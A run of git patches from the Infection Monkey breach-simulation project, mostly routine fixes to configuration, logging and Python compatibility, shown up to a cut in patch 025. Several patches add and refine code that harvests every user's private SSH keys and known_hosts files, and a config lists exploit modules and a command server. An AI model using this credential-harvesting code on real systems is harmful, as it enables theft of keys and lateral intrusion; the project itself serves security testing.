023c7cb0937c187e05dae09b21519bfc11ee8dba Mon Sep 17 00:00:00 2001 From: cclauss Date: Tue, 8 May 2018 12:23:30 +0200 Subject: [PATCH 015/137] ftp.py: Undefined name local_ip --> self.local_ip __local_ip__ is an __undefined name__ in this context (could raise NameError at runtime) so this PR recommends the use of __self.local_ip__ instead. flake8 testing of https://github.com/guardicore/monkey on Python 3.6.3 $ __flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics__ ``` ./infection_monkey/transport/ftp.py:86:29: F821 undefined name 'local_ip' self.servsock.bind((local_ip,0)) ^ ``` --- infection_monkey/transport/ftp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/ftp.py b/infection_monkey/transport/ftp.py index 3b1c84845..c90f8c484 100644 --- a/infection_monkey/transport/ftp.py +++ b/infection_monkey/transport/ftp.py @@ -83,7 +83,7 @@ class FTPServer(threading.Thread): def PASV(self,cmd): self.pasv_mode = True self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) - self.servsock.bind((local_ip,0)) + self.servsock.bind((self.local_ip,0)) self.servsock.listen(1) ip, port = self.servsock.getsockname() self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % From cdb4d459bbf4674801b865f4b4c06f89c6a10525 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 16 May 2018 15:19:59 +0300 Subject: [PATCH 016/137] SSH key-stealing implemented --- .../system_info/SSH_info_collector.py | 68 +++++++++++++++++++ .../system_info/linux_info_collector.py | 3 + 2 files changed, 71 insertions(+) create mode 100644 infection_monkey/system_info/SSH_info_collector.py diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py new file mode 100644 index 000000000..d4bbddb15 --- /dev/null +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -0,0 +1,68 @@ +import logging +import pwd +import sys +import os +import glob + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class SSHCollector(object): + """ + SSH keys and known hosts collection module + """ + + default_dirs = ['/.ssh', '/'] + + @staticmethod + def get_info(): + home_dirs = SSHCollector.get_home_dirs() + ssh_info = SSHCollector.get_ssh_files(home_dirs) + LOG.info("Scanned for ssh keys") + return ssh_info + + @staticmethod + def get_home_dirs(): + home_dirs = [{'name': 'root', 'home_dir': '/root', 'public_key': None, + 'private_key': None, 'known_hosts': None}] + for usr in pwd.getpwall(): + if usr[5].startswith('/home'): + ssh_data = {'name': usr[0], 'home_dir': usr[5], 'public_key': None, + 'private_key': None, 'known_hosts': None} + home_dirs.append(ssh_data) + return home_dirs + + @staticmethod + def get_ssh_files(usr_info): + for info in usr_info: + path = info['home_dir'] + for directory in SSHCollector.default_dirs: + if os.path.isdir(path + directory): + try: + os.chdir(path + directory) + # searching for public key + if glob.glob('*.pub'): + public = '/' + (glob.glob('*.pub')[0]) + try: + with open(path + directory + public) as f: + info['public_key'] = f.read() + private = public.split('.')[0] + except: + pass + if os.path.exists(path + directory + private): + try: + with open(path + directory + private) as f: + info['private_key'] = f.read() + except: + pass + if os.path.exists(path + directory + '/known_hosts'): + try: + with open(path + directory + '/known_hosts') as f: + info['known_hosts'] = f.read() + except: + pass + except: + pass + return usr_info diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index ccdd7cb30..556be812a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -1,6 +1,7 @@ import logging from . import InfoCollector +from SSH_info_collector import SSHCollector __author__ = 'uri' @@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() + self.info['ssh_info'].update(SSHCollector.get_info()) return self.info + From 0be721cf010f270cf1e6ff2c8760a22f2afca0bf Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 14:11:07 +0300 Subject: [PATCH 017/137] Json file was missing two commas --- infection_monkey/example.conf | 178 +++++++++++++++++----------------- 1 file changed, 89 insertions(+), 89 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..b3d2b6d57 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,93 +1,93 @@ { - "command_servers": [ - "41.50.73.31:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - "" - ], - "blocked_ips": [""], - "current_server": "41.50.73.31:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "depth": 2, + "command_servers": [ + "41.50.73.31:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ + "" + ], + "blocked_ips": [""], + "current_server": "41.50.73.31:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter", - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger" - "ElasticFinger", - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "scanner_class": "TcpScanner", - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 7, - "victims_max_find": 30 -} + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", + "ms08_067_remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "rdp_use_vbs_download": true, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "scanner_class": "TcpScanner", + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 200, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 7, + "victims_max_find": 30 +} \ No newline at end of file From 7656f448a53f27e83fc1d0915c7d5af3f1ee24ce Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 17 May 2018 15:11:38 +0300 Subject: [PATCH 018/137] Add python-dev as dependency Because we also build packages manually during the install that depend on python-dev --- monkey_island/deb-package/DEBIAN/control | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey_island/deb-package/DEBIAN/control index 2426feecb..2693afbd9 100644 --- a/monkey_island/deb-package/DEBIAN/control +++ b/monkey_island/deb-package/DEBIAN/control @@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com Priority: optional Version: 1.0 Description: Guardicore Infection Monkey Island installation package -Depends: openssl, python-pip +Depends: openssl, python-pip, python-dev From 53ec1f77ac903489088038be4eeeac84a696b5aa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 17:41:30 +0300 Subject: [PATCH 019/137] changed tabs to 4 spaces --- infection_monkey/example.conf | 176 +++++++++++++++++----------------- 1 file changed, 88 insertions(+), 88 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index b3d2b6d57..1baed66f2 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -1,93 +1,93 @@ { - "command_servers": [ - "41.50.73.31:5000" - ], - "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - "" - ], - "blocked_ips": [""], - "current_server": "41.50.73.31:5000", - "alive": true, - "collect_system_info": true, - "extract_azure_creds": true, - "depth": 2, + "command_servers": [ + "41.50.73.31:5000" + ], + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "keep_tunnel_open_time": 60, + "subnet_scan_list": [ + "" + ], + "blocked_ips": [""], + "current_server": "41.50.73.31:5000", + "alive": true, + "collect_system_info": true, + "extract_azure_creds": true, + "depth": 2, - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_log_path_windows": "%temp%\\~df1562.tmp", - "dropper_log_path_linux": "/tmp/user-1562", - "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", - "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_set_date": true, + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", + "dropper_target_path_linux": "/tmp/monkey", - "kill_file_path_linux": "/var/run/monkey.not", - "kill_file_path_windows": "%windir%\\monkey.not", - "dropper_try_move_first": true, - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "ShellShockExploiter", - "ElasticGroovyExploiter", - "SambaCryExploiter" - ], - "finger_classes": [ - "SSHFinger", - "PingScanner", - "HTTPFinger", - "SMBFinger", - "MySQLFinger", - "ElasticFinger" - ], - "max_iterations": 3, - "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "monkey_log_path_linux": "/tmp/user-1563", - "send_log_to_server": true, - "ms08_067_exploit_attempts": 5, - "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", - "ms08_067_remote_user_pass": "Password1!", - "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "retry_failed_explotation": true, - "scanner_class": "TcpScanner", - "self_delete_in_cleanup": true, - "serialize_config": false, - "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "skip_exploit_if_file_exist": false, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], - "local_network_scan": false, - "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200 - ], - "timeout_between_iterations": 10, - "use_file_logging": true, - "victims_max_exploit": 7, - "victims_max_find": 30 + "kill_file_path_linux": "/var/run/monkey.not", + "kill_file_path_windows": "%windir%\\monkey.not", + "dropper_try_move_first": true, + "exploiter_classes": [ + "SSHExploiter", + "SmbExploiter", + "WmiExploiter", + "ShellShockExploiter", + "ElasticGroovyExploiter", + "SambaCryExploiter" + ], + "finger_classes": [ + "SSHFinger", + "PingScanner", + "HTTPFinger", + "SMBFinger", + "MySQLFinger", + "ElasticFinger" + ], + "max_iterations": 3, + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "send_log_to_server": true, + "ms08_067_exploit_attempts": 5, + "ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT", + "ms08_067_remote_user_pass": "Password1!", + "ping_scan_timeout": 10000, + "rdp_use_vbs_download": true, + "smb_download_timeout": 300, + "smb_service_name": "InfectionMonkey", + "retry_failed_explotation": true, + "scanner_class": "TcpScanner", + "self_delete_in_cleanup": true, + "serialize_config": false, + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "skip_exploit_if_file_exist": false, + "exploit_user_list": [], + "exploit_password_list": [], + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], + "sambacry_shares_not_to_check": ["IPC$", "print$"], + "local_network_scan": false, + "tcp_scan_get_banner": true, + "tcp_scan_interval": 200, + "tcp_scan_timeout": 10000, + "tcp_target_ports": [ + 22, + 445, + 135, + 3389, + 80, + 8080, + 443, + 3306, + 8008, + 9200 + ], + "timeout_between_iterations": 10, + "use_file_logging": true, + "victims_max_exploit": 7, + "victims_max_find": 30 } \ No newline at end of file From 13fa4fa6a46e8ca36d9584113ddb4c7d05741235 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 19:24:50 +0300 Subject: [PATCH 020/137] Added a logging system to the monkey_island module. Added a main function in main.py Inserted a few logs to test the log system --- monkey_island/cc/island_logger.py | 23 ++++++++++ .../cc/island_logger_default_config.json | 43 +++++++++++++++++++ monkey_island/cc/main.py | 17 ++++++-- monkey_island/cc/resources/local_run.py | 4 ++ 4 files changed, 83 insertions(+), 4 deletions(-) create mode 100644 monkey_island/cc/island_logger.py create mode 100644 monkey_island/cc/island_logger_default_config.json diff --git a/monkey_island/cc/island_logger.py b/monkey_island/cc/island_logger.py new file mode 100644 index 000000000..655a6b998 --- /dev/null +++ b/monkey_island/cc/island_logger.py @@ -0,0 +1,23 @@ +import os +import json +import logging.config + + +def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): + """ + Setup the logging configuration + :param default_path: the default log configuration file path + :param default_level: Default level to log from + :param env_key: SYS ENV key to use for external configuration file path + :return: + """ + path = default_path + value = os.getenv(env_key, None) + if value: + path = value + if os.path.exists(path): + with open(path, 'rt') as f: + config = json.load(f) + logging.config.dictConfig(config) + else: + logging.basicConfig(level=default_level) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json new file mode 100644 index 000000000..020902dc8 --- /dev/null +++ b/monkey_island/cc/island_logger_default_config.json @@ -0,0 +1,43 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + } + }, + + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + }, + + "error_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "ERROR", + "formatter": "simple", + "filename": "errors.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + + "root": { + "level": "INFO", + "handlers": ["console", "info_file_handler", "error_file_handler"] + } +} \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index e0f6ab079..41e2ba576 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -2,8 +2,8 @@ from __future__ import print_function # In python 2.7 import os import sys - import time +import logging BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: @@ -13,16 +13,21 @@ from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up +from cc.island_logger import json_setup_logging -if __name__ == '__main__': + +def main(): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop + json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) + logger = logging.getLogger(__name__) + mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): - print('Waiting for MongoDB server') + logger.info('Waiting for MongoDB server') time.sleep(1) app = init_app(mongo_url) @@ -33,6 +38,10 @@ if __name__ == '__main__': ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) http_server.listen(env.get_island_port()) - print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) + logger.info( + 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() + +if __name__ == '__main__': + main() diff --git a/monkey_island/cc/resources/local_run.py b/monkey_island/cc/resources/local_run.py index c588eaf80..7b8965e1e 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey_island/cc/resources/local_run.py @@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +import logging +logger = logging.getLogger(__name__) def run_local_monkey(): import platform @@ -32,6 +34,7 @@ def run_local_monkey(): copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) except Exception as exc: + logger.error('Copy file failed', exc_info=True) return False, "Copy file failed: %s" % exc # run the monkey @@ -41,6 +44,7 @@ def run_local_monkey(): args = "".join(args) pid = subprocess.Popen(args, shell=True).pid except Exception as exc: + logger.error('popen failed', exc_info=True) return False, "popen failed: %s" % exc return True, "pis: %s" % pid From 60730db45d6cd1f16a9e3990cdbfa389079eec73 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 17 May 2018 19:28:04 +0300 Subject: [PATCH 021/137] Fixed the example configuration file, it had a json syntax error. --- infection_monkey/example.conf | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 6e8638742..1baed66f2 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -3,9 +3,9 @@ "41.50.73.31:5000" ], "internet_services": [ - "monkey.guardicore.com", - "www.google.com" - ], + "monkey.guardicore.com", + "www.google.com" + ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ "" @@ -36,15 +36,15 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter", + "SambaCryExploiter" ], "finger_classes": [ "SSHFinger", "PingScanner", "HTTPFinger", "SMBFinger", - "MySQLFinger" - "ElasticFinger", + "MySQLFinger", + "ElasticFinger" ], "max_iterations": 3, "monkey_log_path_windows": "%temp%\\~df1563.tmp", @@ -90,4 +90,4 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30 -} +} \ No newline at end of file From 0411811fe5b3bbc55602c58badd9c85466d5786a Mon Sep 17 00:00:00 2001 From: cclauss Date: Tue, 22 May 2018 10:13:18 +0200 Subject: [PATCH 022/137] from six import string_types, text_type, xrange (#128) * from six import string_types, text_type, xrange --- common/network/network_range.py | 3 ++- infection_monkey/monkey.py | 1 + infection_monkey/requirements.txt | 3 ++- monkey_island/cc/services/config.py | 3 ++- monkey_island/cc/services/report.py | 6 ++++-- 5 files changed, 11 insertions(+), 5 deletions(-) diff --git a/common/network/network_range.py b/common/network/network_range.py index 0173b5810..a2142ce0e 100644 --- a/common/network/network_range.py +++ b/common/network/network_range.py @@ -4,6 +4,7 @@ import struct from abc import ABCMeta, abstractmethod import ipaddress +from six import text_type __author__ = 'itamar' @@ -65,7 +66,7 @@ class CidrRange(NetworkRange): def __init__(self, cidr_range, shuffle=True): super(CidrRange, self).__init__(shuffle=shuffle) self._cidr_range = cidr_range.strip() - self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False) + self._ip_network = ipaddress.ip_network(text_type(self._cidr_range), strict=False) def __repr__(self): return "" % (self._cidr_range,) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index b36569b78..8ad1baf8c 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -12,6 +12,7 @@ from control import ControlClient from model import DELAY_DELETE_CMD from network.firewall import app as firewall from network.network_scanner import NetworkScanner +from six.moves import xrange from system_info import SystemInfoCollector from system_singleton import SystemSingleton from windows_upgrader import WindowsUpgrader diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index bd7689886..d5c1455dd 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -10,8 +10,9 @@ odict paramiko psutil==3.4.2 PyInstaller +six ecdsa netifaces mock nose -ipaddress \ No newline at end of file +ipaddress diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..2ee29f3e9 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -2,6 +2,7 @@ import copy import collections import functools from jsonschema import Draft4Validator, validators +from six import string_types from cc.database import mongo from cc.encryptor import encryptor @@ -978,7 +979,7 @@ class ConfigService: """ keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] for key in keys: - if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): + if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types): flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] else: flat_config[key] = encryptor.dec(flat_config[key]) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..902664d63 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,6 +1,8 @@ import ipaddress from enum import Enum +from six import text_type + from cc.database import mongo from cc.services.config import ConfigService from cc.services.edge import EdgeService @@ -282,7 +284,7 @@ class ReportService: return \ [ - ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network + ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network for network in network_info['data']['network_info']['networks'] ] @@ -295,7 +297,7 @@ class ReportService: monkey_subnets = ReportService.get_monkey_subnets(monkey['guid']) for subnet in monkey_subnets: for ip in island_ips: - if ipaddress.ip_address(unicode(ip)) in subnet: + if ipaddress.ip_address(text_type(ip)) in subnet: found_good_ip = True break if found_good_ip: From a6d2483f7b18085d692ca9d3962b632f8720fb37 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 22 May 2018 18:54:10 +0300 Subject: [PATCH 023/137] Tested with windows and fixed all notes --- .../system_info/SSH_info_collector.py | 70 ++++++++++++------- .../system_info/linux_info_collector.py | 2 +- 2 files changed, 44 insertions(+), 28 deletions(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index d4bbddb15..808081795 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -14,24 +14,36 @@ class SSHCollector(object): SSH keys and known hosts collection module """ - default_dirs = ['/.ssh', '/'] + default_dirs = ['/.ssh/', '/'] @staticmethod def get_info(): + LOG.info("Started scanning for ssh keys") home_dirs = SSHCollector.get_home_dirs() ssh_info = SSHCollector.get_ssh_files(home_dirs) LOG.info("Scanned for ssh keys") return ssh_info + @staticmethod + def get_ssh_struct(name, home_dir): + """ + :return: SSH info struct with these fields: + name: username of user, for whom the keys belong + home_dir: users home directory + public_key: contents of *.pub file(public key) + private_key: contents of * file(private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + """ + return {'name': name, 'home_dir': home_dir, 'public_key': None, + 'private_key': None, 'known_hosts': None} + @staticmethod def get_home_dirs(): - home_dirs = [{'name': 'root', 'home_dir': '/root', 'public_key': None, - 'private_key': None, 'known_hosts': None}] - for usr in pwd.getpwall(): - if usr[5].startswith('/home'): - ssh_data = {'name': usr[0], 'home_dir': usr[5], 'public_key': None, - 'private_key': None, 'known_hosts': None} - home_dirs.append(ssh_data) + root_dir = SSHCollector.get_ssh_struct('root', '/') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] + home_dirs.append(root_dir) return home_dirs @staticmethod @@ -41,28 +53,32 @@ class SSHCollector(object): for directory in SSHCollector.default_dirs: if os.path.isdir(path + directory): try: - os.chdir(path + directory) + current_path = path + directory # searching for public key - if glob.glob('*.pub'): - public = '/' + (glob.glob('*.pub')[0]) + if glob.glob(current_path+'*.pub'): + public = (glob.glob(current_path+'*.pub')[0]) + LOG.info("Found public key in %s" % public) try: - with open(path + directory + public) as f: + with open(public) as f: info['public_key'] = f.read() - private = public.split('.')[0] - except: + private = public.rsplit('.', 1)[0] + if os.path.exists(private): + try: + with open(private) as f: + info['private_key'] = f.read() + LOG.info("Found private key in %s" % private) + except (IOError, OSError): + pass + if os.path.exists(current_path + '/known_hosts'): + try: + with open(current_path + '/known_hosts') as f: + info['known_hosts'] = f.read() + LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') + except (IOError, OSError): + pass + except (IOError, OSError): pass - if os.path.exists(path + directory + private): - try: - with open(path + directory + private) as f: - info['private_key'] = f.read() - except: - pass - if os.path.exists(path + directory + '/known_hosts'): - try: - with open(path + directory + '/known_hosts') as f: - info['known_hosts'] = f.read() - except: - pass - except: + except OSError: pass + usr_info = [info for info in usr_info if not info['private_key'] and not info['known_hosts'] and not info['public_key']] return usr_info diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index 556be812a..d80efff6a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -27,6 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() - self.info['ssh_info'].update(SSHCollector.get_info()) + self.info['ssh_info'] = SSHCollector.get_info() return self.info From e8b388482b9c04071ad2d0177841cff6d2e340e9 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 22 May 2018 19:06:12 +0300 Subject: [PATCH 024/137] quick fix --- infection_monkey/system_info/SSH_info_collector.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py index 808081795..12ff7df02 100644 --- a/infection_monkey/system_info/SSH_info_collector.py +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -80,5 +80,6 @@ class SSHCollector(object): pass except OSError: pass - usr_info = [info for info in usr_info if not info['private_key'] and not info['known_hosts'] and not info['public_key']] + usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts'] + or info['public_key']] return usr_info From c91aee3129aa536caeeaec52582f36de80c16e95 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 12:27:06 +0300 Subject: [PATCH 025/137] Add documentation --- infection_monkey/network/network_scanner.py | 6 +++++ monkey_island/cc/services/report.py | 28 ++++++++++++++++++--- 2 files changed, 31 insertions(+), 3 deletions(-) diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index b4cc6a8e6..65fd473b3 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -40,6 +40,12 @@ class NetworkScanner(object): LOG.info("Base local networks to scan are: 